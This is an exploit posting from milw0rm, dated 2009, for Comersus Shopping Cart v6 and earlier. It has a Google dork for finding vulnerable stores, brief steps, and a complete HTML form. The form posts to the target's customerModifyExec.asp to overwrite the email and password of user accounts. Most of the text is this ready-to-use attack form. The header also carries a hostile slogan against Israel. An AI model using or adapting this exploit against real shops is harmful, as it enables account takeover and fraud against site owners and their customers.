Comersus Shopping Cart <= v6 Remote User Pass Exploit*******************************************************************************
# Title   :  Comersus Shopping Cart <= v6 Remote User Pass Exploit
# Author  :  `ajann` from Turkey
# Contact :   :( 
# S.Page  :  http://www.comersus.com/
# $$      :  Free
# Dork    :  Powered by Comersus v6 Shopping Cart
# DorkEx  :

http://www.google.com.tr/search?hl=tr&amp;q=Powered+by+Comersus+v6+Shopping+Cart&amp;btnG=Ara&amp;meta=

KAHROLSUN ISRAEL

-Register Site
-Login
-Open Exploit
-Edit: User Email , User Password
-Submit Form

*******************************************************************************

<form method=`post` name=`modCust` action=`http://target/[path]/comersus_customerModifyExec.asp`>
  <table width=`421` border=`0`>  
      <tr> 
      
    </tr>
    <tr> 
      <td width=`168`>Name</td>
      <td width=`220`>      
        <input type=text name=customerName value=`test`>
      </td>
    </tr>    
    <tr> 
      <td width=`168`>Last Name</td>
      <td width=`220`>      
        <input type=text name=lastName value=`test`>
      </td>
    </tr>
    <tr> 
      <td width=`168`>Company</td>
      <td width=`220`>      
        <input type=text name=customerCompany value=`test`>
      </td>
    </tr>
    <tr> 
      <td width=`168`>Phone</td>
      <td width=`220`>        
       <input type=text name=phone value=`123456789`>
      </td>
    </tr>
    <tr> 
      <td width=`168`><strong>Email</strong></td>
      <td width=`220`>   
    
        <input type=`text` name=`email` value=`Please Add Mail`> 
        Edit
      </td>
    </tr>
    <tr> 
      <td width=`168`><strong>Password</strong></td>
      <td width=`220`>         
        <input type=text name=password value=`Please Add Pass`> 
        Edit
      </td>
    </tr>
    <tr> 
      <td width=`168`>Address</td>
      <td width=`220`>         
        <input type=text name=address value=`test`>
      </td>
    </tr>
    <tr> 
      <td width=`168`>Zip</td>
      <td width=`220`>         
        <input type=text name=zip value=`08050`>
      </td>
    </tr>
    <tr> 
      <td width=`168`>State</td>
      <td width=`220`>         
        
      <SELECT name=stateCode size=1>
      <OPTION value=``>Select the state
        <option value=`1`>Please Type County below
      </OPTION>
      </SELECT>
      </td>
    </tr>
    <tr> 
      <td width=`168`>Non listed state</td>
      <td width=`220`>         
       <input type=text name=state value=``>
      </td>
    </tr>
    <tr> 
      <td width=`168`>City</td>
      <td width=`220`>         
        <input type=text name=city value=`test`>
      </td>
    </tr>    
    <tr> 
      <td width=`168`>Country</td>
      <td width=`220`>                 
        
      <SELECT name=countryCode>
      <OPTION value=``>Select the country
        <option value=`AF` selected>AFGHANISTAN
      </OPTION>
      </SELECT>       
      </td>
    </tr>
    
    
    
    <tr> 
      <td width=`168`>&amp;nbsp;</td>
      <td width=`220`>&amp;nbsp;</td>
    </tr>
    <tr> 
      <td colspan=`2`>        
          <input type=`submit` name=`Modify` value=`Modify`>                            
      </td>
    </tr>
    </table>
   </form>          

# milw0rm.com [2009-01-12]